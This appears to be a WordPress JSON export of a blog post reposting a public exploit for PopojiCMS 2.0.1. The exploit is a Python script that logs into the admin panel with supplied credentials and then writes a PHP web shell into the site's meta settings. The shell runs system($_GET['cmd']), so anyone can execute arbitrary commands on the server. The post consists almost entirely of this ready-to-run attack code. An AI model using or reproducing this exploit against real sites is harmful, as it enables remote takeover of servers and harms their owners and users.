{"id":56942,"date":"2024-05-20T19:40:14","date_gmt":"2024-05-20T15:40:14","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/178630\/popojicms201exp-exec.txt"},"modified":"2024-05-20T19:40:14","modified_gmt":"2024-05-20T15:40:14","slug":"popojicms-2-0-1-remote-command-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/popojicms-2-0-1-remote-command-execution\/","title":{"rendered":"PopojiCMS 2.0.1 Remote Command Execution"},"content":{"rendered":"<p># Exploit Title: PopojiCMS 2.0.1 &#8211; Remote Command Execution<br \/># Date: 14\/04\/2024<br \/># Exploit Author: Ahmet \u00dcmit BAYRAM<br \/># Vendor Homepage: https:\/\/www.popojicms.org\/<br \/># Software Link:<br \/>https:\/\/github.com\/PopojiCMS\/PopojiCMS\/archive\/refs\/tags\/v2.0.1.zip<br \/># Version: Version : 2.0.1<br \/># Tested on: https:\/\/www.softaculous.com\/apps\/cms\/PopojiCMS<\/p>\n<p>import requests<br \/>import time<br \/>import sys<\/p>\n<p>def exploit(url, username, password):<\/p>\n<p>login_url = f&#8221;{url}\/po-admin\/route.php?mod=login&amp;act=proclogin&#8221;<br \/>login_data = {&#8220;username&#8221;: username, &#8220;password&#8221;: password}<br \/>headers = {&#8220;Content-Type&#8221;: &#8220;application\/x-www-form-urlencoded&#8221;, &#8220;Referer&#8221;: f<br \/>&#8220;{url}\/po-admin\/index.php&#8221;}<br \/>session = requests.Session()<br \/>login_response = session.post(login_url, data=login_data, headers=headers)<br \/>if &#8220;Administrator PopojiCMS&#8221; in login_response.text:<br \/>print(&#8220;Login Successful!&#8221;)<br \/>time.sleep(1) # 1 saniye bekle<br \/>else:<br \/>print(&#8220;Login Failed!&#8221;)<br \/>return<\/p>\n<p>edit_url = f&#8221;{url}\/po-admin\/route.php?mod=setting&amp;act=metasocial&#8221;<br \/>edit_data = {&#8220;meta_content&#8221;: &#8220;&#8221;&#8221;&lt;html&gt;<br \/>&lt;body&gt;<br \/>&lt;form method=&#8221;GET&#8221; name=&#8221;&lt;?php echo basename($_SERVER[&#8216;PHP_SELF&#8217;]); ?&gt;&#8221;&gt;<br \/>&lt;input type=&#8221;TEXT&#8221; name=&#8221;cmd&#8221; autofocus id=&#8221;cmd&#8221; size=&#8221;80&#8243;&gt;<br \/>&lt;input type=&#8221;SUBMIT&#8221; value=&#8221;Execute&#8221;&gt;<br \/>&lt;\/form&gt;<br \/>&lt;pre&gt;<br \/>&lt;?php<br \/>if(isset($_GET[&#8216;cmd&#8217;]))<br \/>{<br \/>system($_GET[&#8216;cmd&#8217;]);<br \/>}<br \/>?&gt;<br \/>&lt;\/pre&gt;<br \/>&lt;\/body&gt;<br \/>&lt;\/html&gt;&#8221;&#8221;&#8221;}<br \/>edit_response = session.post(edit_url, data=edit_data, headers=headers)<br \/>if &#8220;cmd&#8221; in edit_response.text:<br \/>print(&#8220;Your shell is ready:&#8221;, url)<br \/>time.sleep(1)<br \/>else:<br \/>print(&#8220;Exploit Failed!&#8221;)<br \/>return<\/p>\n<p>if __name__ == &#8220;__main__&#8221;:<br \/>if len(sys.argv) != 4:<br \/>print(&#8220;Kullan\u0131m: python exploit.py sitename username password&#8221;)<br \/>sys.exit(1)<\/p>\n<p>url = sys.argv[1]username = sys.argv[2]password = sys.argv[3]print(&#8220;Exploiting&#8230;&#8221;)<br \/>time.sleep(1)<br \/>print(&#8220;Logging in&#8230;&#8221;)<br \/>time.sleep(1)<br \/>exploit(url, username, password)<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: PopojiCMS 2.0.1 &#8211; Remote Command Execution# Date: 14\/04\/2024# Exploit Author: Ahmet \u00dcmit BAYRAM# Vendor Homepage: https:\/\/www.popojicms.org\/# Software Link:https:\/\/github.com\/PopojiCMS\/PopojiCMS\/archive\/refs\/tags\/v2.0.1.zip# Version: Version : 2.0.1# Tested on: https:\/\/www.softaculous.com\/apps\/cms\/PopojiCMS import requestsimport timeimport sys def exploit(url, username, password): login_url = f&#8221;{url}\/po-admin\/route.php?mod=login&amp;act=proclogin&#8221;login_data = {&#8220;username&#8221;: username, &#8220;password&#8221;: password}headers = {&#8220;Content-Type&#8221;: &#8220;application\/x-www-form-urlencoded&#8221;, &#8220;Referer&#8221;: f&#8220;{url}\/po-admin\/index.php&#8221;}session = requests.Session()login_response = session.post(login_url, data=login_data, headers=headers)if &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56942","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56942","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56942"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56942\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56942"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56942"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56942"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}